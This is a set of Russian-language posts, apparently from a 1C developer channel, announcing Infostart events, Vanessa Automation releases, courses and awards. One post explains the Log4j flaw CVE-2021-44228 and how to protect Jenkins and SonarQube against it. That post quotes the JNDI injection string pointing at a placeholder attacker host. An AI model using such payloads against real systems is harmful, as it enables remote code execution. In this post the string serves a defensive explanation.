Тяжёлый выбор 😂

https://mobile.twitter.com/fillpackart/status/1464506861743493126

❗️Уязвимость в библиотеке Log4j в экосистеме Java

Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.

Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, https://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).

Как себя обезопасить?🤔

⚙️Jenkins

В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:

org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource

Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.

Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.

Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.

⚙️SonarQube

Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.

В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:

sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true

Или через переменную среды в системе, контейнере и т.п:

SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true

После указания настройки нужно перезапустить сервис SonarQube.

Официальный источник информации: SonarQube and the Log4J vulnerability.

Вы наверное уже догадались, но теперь официально (с)!

Сегодня вечером в 19.00 по Москве будет проходить онлайн-игра "Что, Где, Когда" "Что, Если, Тогда".

Помимо интересных вопросов от телезрителей будут ещё и музыкальные паузы, в том числе с вот теми ребятами из Весёлого1С, которые сочиняли текст про "внешне все красиво, внутри полный одинэс".

Заглядывайте на огонёк, будут премьеры ;)

https://infostart.ru/journal/news/mir-1s/komanda-telezriteley-sobrana-proverim-znaniya-znatokov-na-onlayn-igre-chto-esli-togda_1575357/

🥒 В Vanessa Automation очередной большой релиз, обо всем подробно написала Вика в новости, повторяться не буду:

https://infostart.ru/journal/news/mir-1s/vanessa-automation-1-2-038-interaktivnaya-spravka-i-testirovanie-mobilnykh-prilozheniy_1576937/

Но отмечу пару интересных фич:

— Интерактивные уроки, реализованные средствами VA. В дополнение к ним недавно (в этом релизе пока нет) Дима Шерстобитов придумал/добавил механизм для реализации онбординга/интерактивного обучения пользователей, которое можно реализовать и внедрить прямо в информационной базе.

— Поддержка тестирования мобильного клиента и приложений на мобильной платформе (соответствующее API в платформе 1С:Предприятия было добавлено в релизах 8.3.19 и в 8.3.20 соответственно). Как я понимаю, тут тоже Дмитрий приложил руку.

И что бы "дважды не вставать", продолжу тему про VA, Шерстобитова 😎 и уроки по тестированию еще небольшим комментарием-новостью, т.к. я слышал, что есть те, кто пропустил.

До недавнего времени из структурированных учебных материалов (а не разрозненных видеоинструкций/записей митапов) по тестированию были по сути только серия публикаций Владимира Литвиненко по Vanessa ADD и обзорный блок по тестированию в составе курса "DevOps в 1С" Инфостарта.

Но буквально на днях к ним добавился курс на платформе курсы-по-1с.рф "Сценарное тестирование в 1С", который стартанул на прошлой неделе. Его записывала и проводит Наталья Трухачева, QA из IRP Team, которую вы, если интересуетесь темой тестирования в 1С, должны знать по выступлениями на онлайн-митапе Инфостарта и на Infostart Event в мае 2021 года.

Курс, если судить по тому, что я успел посмотреть, получился интересный, Наталья, Дмитрий и все, кто приложил к нему руку, молодцы! 👍

По многочисленным просьбам участников летнего потока курса "DevOps в 1С" (да и не только) мы в Инфостарте тоже делаем самостоятельный курс по тестированию (и скорее всего не один) и тем самым, надеемся, вопросы "А как вкатиться в тестирование в 1С?" закроются по большей части.

🦉 23 декабря Инфостарт проводил очередную игру "Что Если Тогда" в онлайн-формате (запись) с бессменным ведущим Константином Гейнрихом (подписывайтесь на его канал 1.C. Enterprise, если еще вдруг не подписаны).

Главный реквизит игры — рулетка и телевизор — в онлайн-формате эмулируются специальной самодельной конфигурацией. После игры поступило много предложений и замечаний к внешнему виду экранных форм этой конфигурации. Поэтому, чтобы улучшать решение можно было не только словами, Константин разместил исходники конфигурации в открытый доступ. Как говорится, ждем ваших PR:

https://github.com/KonstantinHeinrich/WhatIfThen

🥳

На самом деле это должна быть статья как пользоваться git2reposync какие gitattributes надо прописать для version файла чтоб не было конфликтов и не надо их ручками разгребать или как хорошо разрабатывать в edt и автоматом синхронизироваться с хранилищем которое тут же синхронизируется с git и такая рекурсия прекрасна , но решил пофилософствовать и описать один из процессов выпуска релизов , про который я думал в первый раз " ну ничего себе уникальные грабли ", а когда столкнулся с таким же несколько раз , то думаю надо что-то менять https://infostart.ru/1c/articles/1580931/

🛠 Сегодня только с коллегами обсуждали существующую движуху представителей сообщества 1С в ютубе и вспоминали в очередной раз крутой канал "Команда ИТК", о котором я уже рассказывал, и тут у них как раз новое видео с обзором Infostart Toolkit'а:

https://www.youtube.com/watch?v=mGLJbp0qROg

Видеообзор от реального пользователя — круче любой рекламы, желаю каждому разработчику продуктов такого 👍

Канал автора проекта "Команда ИТК" на ютубе: @simplelogic
Канал Тулкита в телеграме: @mid8_1c

В продолжении предыдущего поста хочу повторить опрос коллег из Команды ИТК 👇

Кликабельные ссылки на инструменты из опроса:

— Инструменты Разработчика от TormozIt
— Infostart Toolkit
— Запросник
— Консоль запросов 9000

#опрос

🛠 18 февраля (это будет пятница) Инфостарт проведет митап "Опыт применения DevOps-практик в командах разработки на 1С".

К митапу мы хотели бы собрать небольшую статистику по состоянию процессов разработки в командах 1Сников, буду очень признателен, если вы ответите на несколько простых вопросов.

➡️ Пройти опрос

Будет круто, если перешлете ссылку на опрос своим коллегам, хочется большего охвата.

И, конечно, приходите послушать доклады и позадавать/пообсуждать вопросы по теме на круглом столе. Митап бесплатный, нужно только зарегистрироваться вот тут:

https://infostart.ru/events/1587539/

Окончательная программам будет утверждена и опубликована буквально завтра/послезавтра, но уже сейчас точно могу сказать, что будем говорить про нюансы внедрения CI/CD при разработке на 1C, про то, как эффективно организовать процессы разработки на 1С, используя промышленные подходы, с какими сложностями при этом приходится столкнуться и как их решать. Все доклады будут исключительно про реальный разносторонний опыт.

🔥 Очередной крутой выпуск Техкружка по интересной теме - покрытие кода в 1С.

https://youtu.be/ew-ZTolmB5I

Огромное уважение ребятам за такой подход по распространению знаний у себя в команде и открытость!

Подписывайтесь на канал лидера Техкружка Артема Пластинина @simplelogic (и на канал в ютубе).

Я НЕ часто - даю ссылки на публикации про 1С, но тут не могу не поделиться - потому что подобный подход отражает мое персонально отношение как нужно делать

Валентин проделал крутую работу вместе с командой "товарищей" и по заветам "инженерного маркетинга" поделился результатами

Пусть и под корпоративным аккаунтом - зато с github репозиторием

Ну и "сосать действительно плохо"

https://infostart.ru/1c/articles/1606108/

Представляете тонны скриптов на groovy, реализующих бизнес логику?

(Ссылка на оригинал)

✅ В Vanessa Automation последние несколько релизов ведется развитие встроенной интерактивной справки и механизмов, которые задействованы для ее реализации. Совсем недавно команда разработчиков VA сгенерировали на основе сценариев интерактивной справки видео и вылили их на специальный канал на YouTube и планируют теперь такой мини-курс создавать для каждого релиза.

Естественно, эти механизмы универсальны и с их помощью можно создавать интерактивные справки/инструкции/онбординги и даже видеокурсы для ваших собственных конфигураций на платформе 1С:Предприятие.

Совсем скоро, фактически через месяц с небольшим, состоится очередная конференция Infostart Event, в этот раз с кодовым названием Saint Petersburg, и в расписании секции "Инструментарий разработчика. Приемы и методы разработки" будет доклад Андрея Полетаева про все эти новые механизмы Vanessa Automation и про то, как их использовать. Доклад называется "Делаем документацию правильно". Приходите!

Для тех, кто еще не успел купить билеты, но собирается, есть небольшой бонус: по промокоду devnotes2022, который нужно указать при оформлении заказа, можно получить скидку в 10%. Скидка действует на тарифы Онлайн, Стандарт и VIP до 5 сентября.

🤘 Не могу не прорекламировать новый формат на Infostart Event'е, в "продюссировании" которого я поучаствовал: DevBattle на INFOSTART EVENT или просто Битва.

Я уже восторгался здесь на канале идеей Артема Пластинина, который придумал Битву и проводит ее в онлайн-формате в своей команде.

Тогда же я загорелся идеей сделать что-то похожее вместе, но в рамках оффлайновой конференции. Мы пообсуждали это внутри Инфостарта несколько раз еще перед майской апокалиптической конференцией в апреле 2021 года, но яркого "продающего" питча у меня с первого раза не получилось, а конференция фактически уже была укомплектована. Да и полной картины, как это могло бы быть, в голове на тот момент не сформировалось. В итоге все отложилось ровно на год.

В этом году к началу подготовки конференции у меня уже была мысль, что в оффлайне мы должны делать что-то близкое к формату рэп/гитарных баттлов, т.е. это должно быть соревнование с элементами шоу (насколько возможно это сделать, говоря о процессе кодинга).

Мы списались с Артемом, и он с готовностью согласился, и буквально за пару созвонов в зуме вместе с Артемом и Артуром Аюхановым накидали идей по поводу того, как все должно выглядеть, и заметно улучшили исходную концепцию оффлайн-битвы. А после обсуждения мероприятия с приглашенными участниками добавилась еще куча идей, часть которых взяли сразу в реализацию, а другими можно будет разнообразить следующие битвы, если эта зайдет, на что очень надеюсь.

В общем, приходите пошуметь!

Внезапно для себя пробрался в эфир подкаста "Подлодка" и поговорил про 1С. Получил огромное удовольствие от общения с ребятами, которые его выпускают, суперпозитивные, знающие, профессиональные и вообще - классные.

https://podlodka.io/

Послушать можно здесь:

Яндекс.Музыка - https://music.yandex.ru/album/7570122/track/109330306
Apple Podcasts - https://podcasts.apple.com/ru/podcast/podlodka-podcast/id1209828744
SoundCloud - https://soundcloud.com/podlodka/podlodka-296
Youtube - https://www.youtube.com/watch?v=t6NNC06NQm8&ab_channel=Podlodka

Кстати, у "Подлодки" есть собственный тг-чат, где можно пообщаться с людьми из другого мира, настоящими программистами и спросить у них "как уйти из 1С" или рассказать им про девопс для 1С. Подписывайтесь! https://t.iss.one/podlodka

Всем привет!

Инфостарт ежегодно проводит премию 🏆 INFOSTART AWARDS 2022, которая присуждается специалистам из нашей отрасли, которые проявили себя в сообществе: разработали полезный для многих инструмент, обработку, отчет; написали полезную статью; записали обучающий курс или выступили с крутым докладом и т.п.

Заявки все еще принимаются по 18 декабря включительно. Заявку подать вот здесь может сам претендент. Но такое дело: многие разработчики часто скромничают и стесняются о себе публично заявлять ("Ну а что я такого сделал, просто обработка").

🫵 Поэтому, если вы знаете достойного специалиста, пользуетесь каким-то инструментом, который вас ни один раз выручил, или прочитали статью, которая вам открыла глаза, напишите ему, предложите подать заявку.

Даже если он не победит в этот раз (претендентов много), он и его решение/статья/доклад попадут в поле зрение тех, кто еще не видел.

Номинации INFOSTART AWARDS 2022 вручаются в нескольких областях:

— «Администрирование СУБД. HighLoad оптимизация»
— «Инструментарий разработчика. Приемы и методы разработки»
— «Интеграция и обмен данными»
— «Мобильная разработка и чат-боты»
— «Управление проектом и продуктом»
— «Управление командой, мотивация и лидерство»
— «Управление ИТ-подразделением»
— «ИТ-анализ»
— Лучшая коммерческая разработка на Инфостарте

Церемония награждения состоится на онлайн-митапе 📆 22 декабря, в 19:00 Мск, а после вручения премий митап завершится игрой «Что Если Тогда», должно быть весело :)

Инфостарт вчера объявил номинантов премии 🏆 Infostart Awards, вручение которой пройдет онлайн уже завтра. Также на мероприятии будет разыграна настолка для 1Сников Инфостарт.Домино, которая произвела фурор на осеннем эвенте. А после вручения премий состоится игра ЧтоЕслиТогда: Dream Team знатоков против участников сообщества, приславших свои каверзные вопросы. Проходит игра всегда очень весело, присоединяйтесь в качестве зрителей и болельщиков!

Но вернемся к премии.

В моей «родной» секции «Инструментарий разработчика. Приемы и методы разработки» в шортлист по результатам голосования экспертов включили четырех из множества достойных кандидатов:

💪 Олега Тымко, которого в сообществе 1С знают как интереснейшего докладчика Infostart Event'а и митапов, активного контрибьютера и автора различных проектов сообщества OneScript. Если присмотреться к аккаунту Олега на гитхабе, то кроме всего прочего можно увидеть в списке проектов проект JOneS — порт движка OneScript на Java, который выглядит интересно и перспективно.

🎓 Дмитрия Петрова — он отличился популярной серией статей по использованию БСП, в которых разбирает различные механизмы библиотеки в примерах и с картинками.

😎 Виталия Черненко мы знаем по публикациям про особенности механизмов технологической платформы 1С. Одна из самых запоминающихся и нашумевших — про секретный незадокументированный оператор в 1С. А еще Виталий ведет в телеграме популярный канал @JuniorOneS.

🛠 Сергея Яныгина, автора нескольких проектов, одним из которых я лично пользуюсь уже больше года фактически каждый день. Это OneS Cluster Admin — альтернативная консоль администрирования кластера серверов 1С, которая позволяет в одном окне управлять серверами 1С разных версий платформы (без необходимости перерегистрировать radmin.dll), не требует прав администратора ОС, кросплатформенная и прочее, прочее. Крутой инструмент, который знаю не понаслышке, и поэтому с удовольствием рекомендую!

👉 Участвовать в онлайн-трансляции Infostart Awards 2022 👈